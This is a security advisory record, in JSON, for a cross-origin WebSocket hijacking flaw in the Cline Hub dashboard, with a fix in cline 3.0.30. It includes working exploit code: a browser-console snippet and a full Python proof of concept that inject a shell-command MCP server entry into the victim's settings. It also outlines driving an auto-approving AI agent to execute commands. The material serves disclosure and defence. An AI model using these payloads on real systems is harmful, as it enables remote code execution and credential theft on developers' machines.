{"id":"CVE-2026-59723","aliases":["GHSA-3cj3-hqcr-g934"],"title":"Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)","summary":"Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)","severity":"high","cvss":8.8,"cwe":["CWE-346"],"vendor":"cline","product":"cline","ecosystem":"npm","affected":["cline < 3.0.30"],"patched":["cline 3.0.30"],"published":"2026-09-24","updated":"2026-09-24","sourceUpdated":"2026-09-24T19:48:35Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-3cj3-hqcr-g934","references":[{"url":"https://github.com/cline/cline/security/advisories/GHSA-3cj3-hqcr-g934"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59723"},{"url":"https://github.com/cline/cline/pull/11724"},{"url":"https://github.com/cline/cline/commit/d09270940f5746f288cfc4a5039b46a2f4d5d01e"},{"url":"https://github.com/cline/cline/releases/tag/cli-v3.0.30"},{"url":"https://github.com/advisories/GHSA-3cj3-hqcr-g934"}],"tags":["ghsa","npm"],"epss":0.00249,"epssPercentile":0.14347,"ingestedAt":"2026-09-24T19:50:30.720Z","slug":"CVE-2026-59723","body":"## Overview\n\n### Summary\n\nThe Cline Hub dashboard server (`@cline/cline-hub`), launched via the `cline dashboard` CLI command, accepts WebSocket connections on the `/browser` endpoint without validating the HTTP `Origin` header. When `ROOM_SECRET` is not set—the default for local (`127.0.0.1`) binds—`isAuthorizedBrowserRequest()` returns `true` unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to `ws://127.0.0.1:8787/browser`. An attacker-controlled page can then send `desktopCommand` frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to `autoApprove: true` for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an `upsert_mcp_server` frame injected a malicious `stdio` MCP server entry into the victim's Cline settings file with `ok: true` response.\n\n### Details\n\nThe vulnerable code path spans multiple files in the `apps/cline-hub` workspace.\n\n**No secret by default (local bind)**\n\n`apps/cline-hub/src/options.ts:54–57` converts an empty `ROOM_SECRET` environment variable to `undefined`:\n\n```ts\n// apps/cline-hub/src/options.ts:54\nfunction normalizeRoomSecret(value: string | undefined): string | undefined {\n    const secret = value?.trim();\n    return secret ? secret : undefined;\n}\n```\n\n`apps/cline-hub/src/options.ts:67–85` allows the local default host (`127.0.0.1`) to start without a secret, so `roomSecret` remains `undefined` in the default configuration.\n\n**Authorization bypass — Origin not checked**\n\n`apps/cline-hub/src/server.ts:61–64` short-circuits all authorization when `roomSecret` is `undefined`, and performs no `Origin` header check at any point:\n\n```ts\n// apps/cline-hub/src/server.ts:61\nfunction isAuthorizedBrowserRequest(url: URL): boolean {\n    if (!roomSecret) return true;\n    return url.searchParams.get(\"roomSecret\") === roomSecret;\n}\n```\n\n**WebSocket upgrade without Origin validation**\n\n`apps/cline-hub/src/server.ts:86–97` upgrades any request to `/browser` without inspecting the `Origin` header:\n\n```ts\n// apps/cline-hub/src/server.ts:86\nif (url.pathname === \"/browser\") {\n    if (!isAuthorizedBrowserRequest(url)) {\n        return createJsonResponse({ error: \"invalid_room_secret\" }, 401);\n    }\n    if (server.upgrade(req, { data })) return undefined;\n}\n```\n\nBrowsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the `Origin` header but leave enforcement to the server. Because the server ignores `Origin`, any cross-origin JavaScript can connect.\n\n**Auto-approve tool policy for dashboard sessions**\n\n`apps/cline-hub/src/server/sessions.ts:129–133` sets the default tool policy to auto-approve all tools for new dashboard sessions:\n\n```ts\n// apps/cline-hub/src/server/sessions.ts:129\ntoolPolicies:\n    options?.autoApproveTools === false\n        ? { \"*\": { autoApprove: false } }\n        : { \"*\": { autoApprove: true } },\n```\n\n**MCP settings write sink**\n\n`apps/cline-hub/src/server/desktop-commands.ts:180–185` processes `upsert_mcp_server` commands without additional authorization. `apps/cline-hub/src/server/mcp.ts:101–136` writes arbitrary `stdio` command entries to `$CLINE_DATA_DIR/settings/cline_mcp_settings.json`, which Cline executes when the MCP server is next activated.\n\n### PoC\n\n**Prerequisites**\n\n- `cline` version 3.0.24 installed globally\n- A browser (or any WebSocket client) running on the same machine as the victim\n\n**Setup**\n\n```bash\nnpm i -g cline@3.0.24\nexport CLINE_DATA_DIR=\"$(mktemp -d)\"\ncline dashboard --no-open\n# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset\n```\n\n**Exploit (browser console on any cross-origin page)**\n\nOpen any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:\n\n```js\nconst ws = new WebSocket(\"ws://127.0.0.1:8787/browser\");\nws.onopen = () => {\n  ws.send(JSON.stringify({\n    type: \"desktopCommand\",\n    id: \"poc-mcp-write\",\n    command: \"upsert_mcp_server\",\n    args: {\n      input: {\n        name: \"poc-cswsh\",\n        transportType: \"stdio\",\n        command: \"sh\",\n        args: [\"-c\", \"touch /tmp/cline-hub-cswsh-poc\"],\n        disabled: false\n      }\n    }\n  }));\n};\nws.onmessage = (e) => console.log(e.data);\n```\n\n**Expected result**\n\n- The WebSocket connection is accepted without any `Origin` rejection.\n- The server responds with `{\"type\":\"desktopCommandResult\",\"id\":\"poc-mcp-write\",\"ok\":true}`.\n- `$CLINE_DATA_DIR/settings/cline_mcp_settings.json` contains the injected `poc-cswsh` `stdio` MCP server entry pointing to `sh -c ...`.\n- On the next MCP connection by Cline, the injected shell command executes under the victim's user account.\n\n**Docker-based dynamic reproduction**\n\n```bash\ndocker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/\ndocker run --rm cswsh-poc-vuln001\n# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED\n```\n\nThe Python PoC (`poc.py`) connects to `ws://127.0.0.1:8787/browser` with `Origin: http://evil.attacker.example.com`, sends the `upsert_mcp_server` frame, and confirms both the `ok: true` response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.\n\n**RCE variant (requires provider/model configured)**\n\nIf the victim has a working AI provider configured, send a `type: \"send\"` frame with `config.autoApproveTools: true` and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to `autoApprove: true` for all tools, so no confirmation prompt is shown.\n\n### Impact\n\nAny malicious website visited by a developer running `cline dashboard` on the default local configuration can:\n\n1. **Read** session metadata, workspace state, and provider configuration exposed through the WebSocket protocol.\n2. **Write** arbitrary MCP server entries (including `stdio` entries with arbitrary shell commands) to `cline_mcp_settings.json`, achieving persistent code execution when Cline activates the MCP server.\n3. **Control** active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim.\n4. **Exfiltrate** credentials or API keys available in the developer's environment or Cline provider configuration.\n\nThe attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard\n# CVE candidate: CWE-346 (Origin Validation Error)\n#\n# This Dockerfile builds a container that:\n#  1. Installs the Bun runtime and SDK workspace dependencies\n#  2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages\n#  3. Installs Python 3 + websockets library for the PoC script\n#  4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)\n#  5. Runs poc.py which connects with a cross-origin Origin header and\n#     injects an arbitrary MCP server entry into the user's settings file\n\nFROM oven/bun:1.3\n\n# ── System packages ──────────────────────────────────────────────────────────\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends \\\n        python3 python3-pip curl && \\\n    rm -rf /var/lib/apt/lists/*\n\n# Install Python websockets library for the PoC\nRUN pip3 install websockets --break-system-packages\n\n# ── Copy source ───────────────────────────────────────────────────────────────\nWORKDIR /app\n\n# Copy the cloned repository (build context = npmAI_11_cline__cline/)\nCOPY repo/ ./repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# ── Install workspace dependencies ────────────────────────────────────────────\nWORKDIR /app/repo\nRUN bun install\n\n# ── Build SDK packages (required: dist/ exports for @cline/core et al.) ──────\n# Build order: shared → llms → agents → core\nRUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3\nRUN bun run --cwd sdk/packages/llms    build 2>&1 | tail -3\nRUN bun run --cwd sdk/packages/agents  build 2>&1 | tail -3\nRUN bun run --cwd sdk/packages/core    build 2>&1 | tail -3\n\n# ── Runtime environment ───────────────────────────────────────────────────────\nENV CLINE_DATA_DIR=/tmp/cline-poc-data\nENV WORKSPACE_ROOT=/tmp/workspace\nENV CLINE_NO_INTERACTIVE=1\n\nRUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace\n\nWORKDIR /app\n\n# poc.py starts the dashboard server internally, runs the exploit, and exits\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard\n\nVulnerability path:\n  apps/cline-hub/src/server.ts:61-64  isAuthorizedBrowserRequest() returns\n    true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).\n  apps/cline-hub/src/server.ts:86-97  /browser WebSocket upgrade: no Origin\n    header validation is performed before accepting the connection.\n\nAttack scenario:\n  A developer is running `cline dashboard` on localhost:8787 (default, no secret).\n  Any website they visit can open a cross-origin WebSocket to the dashboard,\n  send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio\n  MCP server entry into the user's Cline settings file.\n\nPoC steps:\n  1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined).\n  2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com\n     (simulating a cross-origin browser page).\n  3. Send a desktopCommand frame: upsert_mcp_server with a marker command.\n  4. Assert the server returns desktopCommandResult { ok: true }.\n  5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the\n     injected MCP server entry is present.\n\nUsage (inside Docker container):\n  python3 /app/poc.py\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.request\nimport urllib.error\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nREPO_ROOT      = \"/app/repo\"\nSERVER_HOST    = \"127.0.0.1\"\nSERVER_PORT    = 8787\nSERVER_HTTP    = f\"http://{SERVER_HOST}:{SERVER_PORT}\"\nSERVER_WS      = f\"ws://{SERVER_HOST}:{SERVER_PORT}/browser\"\n\n# Simulated attacker origin — a cross-origin value that a real browser would\n# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.\nATTACK_ORIGIN  = \"http://evil.attacker.example.com\"\n\n# Injected MCP server payload\nMCP_NAME       = \"poc-cswsh-marker\"\nMCP_CMD        = \"sh\"\nMCP_ARGS       = [\"-c\", \"id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS\"]\n\nCLINE_DATA_DIR = os.environ.get(\"CLINE_DATA_DIR\", \"/tmp/cline-poc-data\")\nMCP_SETTINGS   = os.path.join(CLINE_DATA_DIR, \"settings\", \"cline_mcp_settings.json\")\n\n# ---------------------------------------------------------------------------\n# Server startup helpers\n# ---------------------------------------------------------------------------\n\ndef start_server() -> subprocess.Popen:\n    \"\"\"Spawn the cline-hub dashboard server as a background process.\"\"\"\n    print(\"[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...\")\n    env = {\n        **os.environ,\n        \"CLINE_DATA_DIR\": CLINE_DATA_DIR,\n        \"WORKSPACE_ROOT\": os.environ.get(\"WORKSPACE_ROOT\", \"/tmp/workspace\"),\n        \"CLINE_NO_INTERACTIVE\": \"1\",\n    }\n    proc = subprocess.Popen(\n        [\n            \"bun\",\n            \"--conditions=development\",\n            \"run\",\n            \"apps/cline-hub/src/server.ts\",\n        ],\n        cwd=REPO_ROOT,\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n    )\n    print(f\"[*] Server PID: {proc.pid}\")\n    return proc\n\n\ndef wait_for_server(timeout_secs: int = 120) -> bool:\n    \"\"\"Poll the /health endpoint until the server responds or timeout expires.\"\"\"\n    print(f\"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...\")\n    deadline = time.time() + timeout_secs\n    last_err = \"\"\n    while time.time() < deadline:\n        try:\n            with urllib.request.urlopen(\n                f\"{SERVER_HTTP}/health\", timeout=3\n            ) as resp:\n                if resp.status == 200:\n                    data = json.loads(resp.read())\n                    print(f\"[+] Server is up. Health: {json.dumps(data)[:200]}\")\n                    return True\n        except Exception as exc:\n            last_err = str(exc)\n        time.sleep(2)\n    print(f\"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}\")\n    return False\n\n\ndef drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str:\n    \"\"\"Collect recent server stdout/stderr for diagnostic purposes.\"\"\"\n    collected = []\n    try:\n        import select\n        while True:\n            r, _, _ = select.select([proc.stdout], [], [], 0)\n            if not r:\n                break\n            line = proc.stdout.readline()\n            if not line:\n                break\n            collected.append(line.rstrip())\n    except Exception:\n        pass\n    return \"\\n\".join(collected[-lines:])\n\n# ---------------------------------------------------------------------------\n# WebSocket exploit\n# ---------------------------------------------------------------------------\n\nasync def run_exploit() -> dict:\n    \"\"\"\n    Connect to the dashboard WebSocket with a cross-origin Origin header,\n    send upsert_mcp_server, and return a result dict with evidence.\n    \"\"\"\n    # Import websockets — handle both legacy (<12) and current (>=12) API\n    try:\n        from websockets.asyncio.client import connect as ws_connect\n    except ImportError:\n        from websockets import connect as ws_connect  # type: ignore[no-redef]\n\n    result = {\n        \"connect_accepted\": False,\n        \"command_ok\": False,\n        \"mcp_settings_written\": False,\n        \"response_raw\": \"\",\n        \"mcp_settings_content\": \"\",\n        \"error\": \"\",\n    }\n\n    print(f\"[*] Connecting to {SERVER_WS}\")\n    print(f\"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}\")\n\n    try:\n        async with ws_connect(\n            SERVER_WS,\n            additional_headers={\"Origin\": ATTACK_ORIGIN},\n            open_timeout=15,\n        ) as ws:\n            result[\"connect_accepted\"] = True\n            print(f\"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}\")\n            print(\"[*] Server performed no Origin validation — CSWSH confirmed at connection level\")\n\n            # Build the attack frame: inject an arbitrary stdio MCP server\n            attack_frame = {\n                \"type\": \"desktopCommand\",\n                \"id\": \"poc-cswsh-001\",\n                \"command\": \"upsert_mcp_server\",\n                \"args\": {\n                    \"input\": {\n                        \"name\": MCP_NAME,\n                        \"transportType\": \"stdio\",\n                        \"command\": MCP_CMD,\n                        \"args\": MCP_ARGS,\n                        \"disabled\": False,\n                    }\n                },\n            }\n\n            print(f\"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}\")\n            await ws.send(json.dumps(attack_frame))\n\n            # Collect responses until we see our desktopCommandResult\n            deadline = asyncio.get_event_loop().time() + 30\n            while asyncio.get_event_loop().time() < deadline:\n                try:\n                    raw = await asyncio.wait_for(ws.recv(), timeout=5)\n                    result[\"response_raw\"] = raw\n                    frame = json.loads(raw)\n                    if frame.get(\"type\") == \"desktopCommandResult\" and frame.get(\"id\") == \"poc-cswsh-001\":\n                        if frame.get(\"ok\") is True:\n                            result[\"command_ok\"] = True\n                            print(f\"[+] desktopCommandResult received: ok=true\")\n                        else:\n                            print(f\"[-] desktopCommandResult received but ok=false: {raw[:300]}\")\n                        break\n                    # Ignore state-sync / status frames\n                    print(f\"[.] Received frame type={frame.get('type')} (waiting for result ...)\")\n                except asyncio.TimeoutError:\n                    print(\"[.] Waiting for desktopCommandResult ...\")\n                    continue\n\n    except Exception as exc:\n        result[\"error\"] = str(exc)\n        print(f\"[-] WebSocket error: {exc}\")\n\n    return result\n\n\ndef verify_mcp_settings() -> dict:\n    \"\"\"Read the MCP settings file and confirm the injected entry is present.\"\"\"\n    print(f\"[*] Checking MCP settings file: {MCP_SETTINGS}\")\n    if not os.path.exists(MCP_SETTINGS):\n        print(f\"[-] MCP settings file does not exist: {MCP_SETTINGS}\")\n        return {\"exists\": False, \"content\": \"\"}\n\n    with open(MCP_SETTINGS) as fh:\n        content = fh.read()\n    print(f\"[+] MCP settings file content:\\n{content}\")\n\n    try:\n        data = json.loads(content)\n        servers = data.get(\"mcpServers\", {})\n        if MCP_NAME in servers:\n            print(f\"[+] INJECTED MCP server '{MCP_NAME}' found in settings!\")\n            print(f\"    Entry: {json.dumps(servers[MCP_NAME], indent=4)}\")\n            return {\"exists\": True, \"content\": content, \"injected\": True}\n        else:\n            print(f\"[-] Injected server '{MCP_NAME}' NOT found in settings.\")\n            print(f\"    Available servers: {list(servers.keys())}\")\n            return {\"exists\": True, \"content\": content, \"injected\": False}\n    except json.JSONDecodeError as exc:\n        return {\"exists\": True, \"content\": content, \"injected\": False, \"parse_error\": str(exc)}\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -> int:\n    print(\"=\" * 70)\n    print(\"VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC\")\n    print(\"CWE-346  CVSS 9.6 (Critical)\")\n    print(\"=\" * 70)\n\n    os.makedirs(os.path.join(CLINE_DATA_DIR, \"settings\"), exist_ok=True)\n    os.makedirs(os.environ.get(\"WORKSPACE_ROOT\", \"/tmp/workspace\"), exist_ok=True)\n\n    server_proc = start_server()\n\n    try:\n        ready = wait_for_server(timeout_secs=120)\n        if not ready:\n            server_log = drain_server_output(server_proc)\n            print(f\"\\n[!] Server startup log:\\n{server_log}\")\n            print(\"\\n[RESULT] FAIL — server did not start within timeout\")\n            return 1\n\n        exploit_result = asyncio.run(run_exploit())\n\n        mcp_result = verify_mcp_settings()\n\n        print(\"\\n\" + \"=\" * 70)\n        print(\"RESULTS\")\n        print(\"=\" * 70)\n        print(f\"  WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}\")\n        print(f\"  upsert_mcp_server returned ok=true        : {exploit_result['command_ok']}\")\n        print(f\"  Injected entry present in MCP settings    : {mcp_result.get('injected', False)}\")\n\n        passed = (\n            exploit_result[\"connect_accepted\"]\n            and exploit_result[\"command_ok\"]\n            and mcp_result.get(\"injected\", False)\n        )\n\n        if passed:\n            print(\"\\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED\")\n            print(\"  A page at http://evil.attacker.example.com connected to\")\n            print(f\"  {SERVER_WS} without any Origin rejection,\")\n            print(f\"  and injected MCP server '{MCP_NAME}' into the user's settings.\")\n            return 0\n        else:\n            print(\"\\n[RESULT] FAIL — Could not fully confirm all exploit steps\")\n            if exploit_result.get(\"error\"):\n                print(f\"  Error: {exploit_result['error']}\")\n            return 1\n\n    finally:\n        print(\"\\n[*] Stopping server ...\")\n        server_proc.terminate()\n        try:\n            server_proc.wait(timeout=5)\n        except subprocess.TimeoutExpired:\n            server_proc.kill()\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Affected packages\n\n- `cline < 3.0.30`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `cline 3.0.30`","depth":"twilight","depthScore":48,"depthScoreParts":{"impact":48.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}